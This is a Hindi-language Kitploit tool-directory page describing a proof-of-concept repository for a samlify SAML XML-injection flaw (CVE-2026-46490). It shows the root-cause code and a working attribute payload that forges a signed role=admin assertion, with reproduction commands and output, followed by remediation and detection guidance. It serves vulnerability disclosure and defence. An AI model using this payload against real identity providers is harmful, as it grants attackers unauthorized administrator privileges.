Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46490-samlify-SAML-Attribute-Injection — CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion विशेषाधिकार वृद्धि। स्व-निहित PoC, सत्यापित e2e. | Kitploit
उपकरण/GitHubGitHub/biitts/cve-2026-46490-samlify-saml-attribute-injection
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubbiitts/cve-2026-46490-samlify-saml-attribute-injection

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-46490-samlify-SAML-Attribute-Injection

CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion विशेषाधिकार वृद्धि। स्व-निहित PoC, सत्यापित e2e.

रिपॉजिटरी देखें
22 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-46490 — samlify SAML AttributeValue XML इंजेक्शन → विशेषाधिकार वृद्धि

samlify < 2.13.0 टेम्पलेट प्रतिस्थापनों को केवल विशेषता संदर्भों में एस्केप करता है। एक उपयोगकर्ता-नियंत्रित मान (जैसे email / name) जिसे एलिमेंट टेक्स्ट में रखा जाता है — <saml:AttributeValue>{Value}</saml:AttributeValue> — बिना एस्केप किए डाला जाता है, इसलिए एक सामान्य उपयोगकर्ता अपने स्वयं के, IdP-हस्ताक्षरित SAML प्रमाणपत्र में अतिरिक्त <saml:Attribute> एलिमेंट (जैसे role=admin) इंजेक्ट कर सकता है। चूँकि इंजेक्शन हस्ताक्षर करने से पहले होता है, सेवा प्रदाता का हस्ताक्षर जांच पास हो जाता है और वह जाली विशेषताओं को आधिकारिक मान लेता है।


मूल कारण

src/libsaml.ts {tag} प्लेसहोल्डर्स को replaceTagsByValue → escapeTag के माध्यम से प्रतिस्थापित करता है:

root@kitploit:~
replaceTagsByValue(rawXML, tagValues) {
  Object.keys(tagValues).forEach(t => {
    rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
  });
  return rawXML;
}

function escapeTag(replacement) {
  return (_match, quote) => {
    const text = String(replacement ?? '');
    // "उद्धरण न होने का मतलब है कि यह इंटरपोलेशन किसी विशेषता के लिए नहीं है, और इसलिए एस्केपिंग की आवश्यकता नहीं है"
    return quote ? `${quote}${xmlEscape(text)}` : text;   // <-- एलिमेंट टेक्स्ट: कोई एस्केपिंग नहीं
  };
}

रेगेक्स एक वैकल्पिक पूर्ववर्ती " को quote के रूप में कैप्चर करता है। विशेषता संदर्भ (Name="{Name}") में quote सेट होता है और मान xmlEscape किया जाता है; एलिमेंट टेक्स्ट (>{attrEmail}<) में कोई पूर्ववर्ती उद्धरण नहीं होता, इसलिए मान यथावत उत्सर्जित होता है।

डिफ़ॉल्ट विशेषता टेम्पलेट मान को एलिमेंट टेक्स्ट में रखता है:

root@kitploit:~
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>

इसलिए </> युक्त एक हमलावर-नियंत्रित विशेषता मान कच्चा XML इंजेक्ट करता है।

शोषण

हमलावर अपनी स्वयं की प्रोफ़ाइल विशेषता (यहाँ email) को सेट करता है:

root@kitploit:~
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">

यह email विशेषता को बंद करता है, एक जाली role=admin विशेषता जोड़ता है, और एक डिस्पोजेबल विशेषता को पुनः खोलता है ताकि टेम्पलेट का अनुगामी </saml:AttributeValue></saml:Attribute> संतुलित रहे। IdP फिर प्रमाणपत्र पर हस्ताक्षर करता है — जाली विशेषता को कवर करते हुए। एक मानक-अनुरूप SP हस्ताक्षर को मान्य करता है (मान्य) और role=admin पढ़ता है।

पुनरुत्पादन

root@kitploit:~
cd lab && ./setup.sh        # npm i [email protected] + IdP/SP कुंजी युग्म उत्पन्न करें
node poc.js

आउटपुट:

root@kitploit:~
>>> इंजेक्शन पुष्ट: जाली <saml:Attribute Name="role">admin हस्ताक्षरित प्रमाणपत्र में तस्करी की गई
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> विशेषाधिकार वृद्धि पुष्ट: SP ने role=admin प्रदान करने वाला एक हस्ताक्षर-मान्य प्रमाणपत्र स्वीकार किया

PoC samlify के स्वयं के IdP (createLoginResponse, जो कमजोर replaceTagsByValue प्रतिस्थापन करता है और हस्ताक्षर करता है) और SP (parseLoginResponse, जो हस्ताक्षर को मान्य करता है और विशेषताओं को निकालता है) को चलाता है। SP role: "admin" प्रस्तुत करता है — एक ऐसी विशेषता जिसे हमलावर ने जाली बनाया, न कि वह जो IdP जारी करने का इरादा रखता था।

प्रभाव

कोई भी उपयोगकर्ता जो samlify-आधारित IdP पर अपने स्वयं के SAML विशेषता मानों (ईमेल, प्रदर्शन नाम, …) में से किसी एक को प्रभावित कर सकता है, एक वैध रूप से हस्ताक्षरित प्रमाणपत्र जारी कर सकता है जिसमें मनमानी अतिरिक्त विशेषताएँ — समूह/भूमिका सदस्यता, अधिकार, isAdmin फ्लैग — हों, और IdP पर भरोसा करने वाले प्रत्येक SP पर विशेषाधिकार बढ़ा सकता है। SAML हस्ताक्षर सत्यापन मदद नहीं करता: जालसाजी हस्ताक्षरित दायरे के अंदर है।

उपचार

  • samlify ≥ 2.13.0 में अपग्रेड करें, जो न केवल विशेषता संदर्भों में बल्कि एलिमेंट संदर्भों में भी इंटरपोलेटेड मानों को XML-एस्केप करता है।
  • गहराई में रक्षा: सर्वर-साइड पर उपयोगकर्ता-आपूर्ति विशेषता मानों को मान्य/सामान्य करें; SP पर अनुमति-सूचीबद्ध विशेषता स्कीमा को प्राथमिकता दें।

पहचान

जारी/उपभोग किए गए प्रमाणपत्रों में XML मार्कअप (</saml:AttributeValue>, <saml:Attribute) वाले विशेषता मानों की जांच करें, और उन प्रमाणपत्रों के लिए जो IdP टेम्पलेट द्वारा परिभाषित से अधिक <saml:Attribute> एलिमेंट ले जाते हैं।

प्रतिस्थापन regex, उद्धरण ह्युरिस्टिक और पैच के लिए ANALYSIS.md देखें।


  • लेखक: Caio Fabrício — github.com/BiiTts
  • कमजोरी का श्रेय मूल रिपोर्टर/विक्रेता सलाह को जाता है; यह रिपॉजिटरी रक्षात्मक और शैक्षिक उपयोग के लिए एक स्वतंत्र पुनरुत्पादन है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
टूल डाउनलोड करें
CVECVE-2026-46490
सलाहGHSA-34r5-q4jw-r36m
प्रभावितsamlify < 2.13.0
ठीक किया गया2.13.0
क्लासCWE-91 (XML इंजेक्शन) → विशेषाधिकार वृद्धि
CVSS8.8 (उच्च)
प्रमाणीकरणप्रमाणित निम्न-अधिकार उपयोगकर्ता (अपने स्वयं के किसी एक विशेषता मान को नियंत्रित करता है)
स्थितिपुष्टि — [email protected] के साथ पूर्ण IdP→SP श्रृंखला का पुनरुत्पादन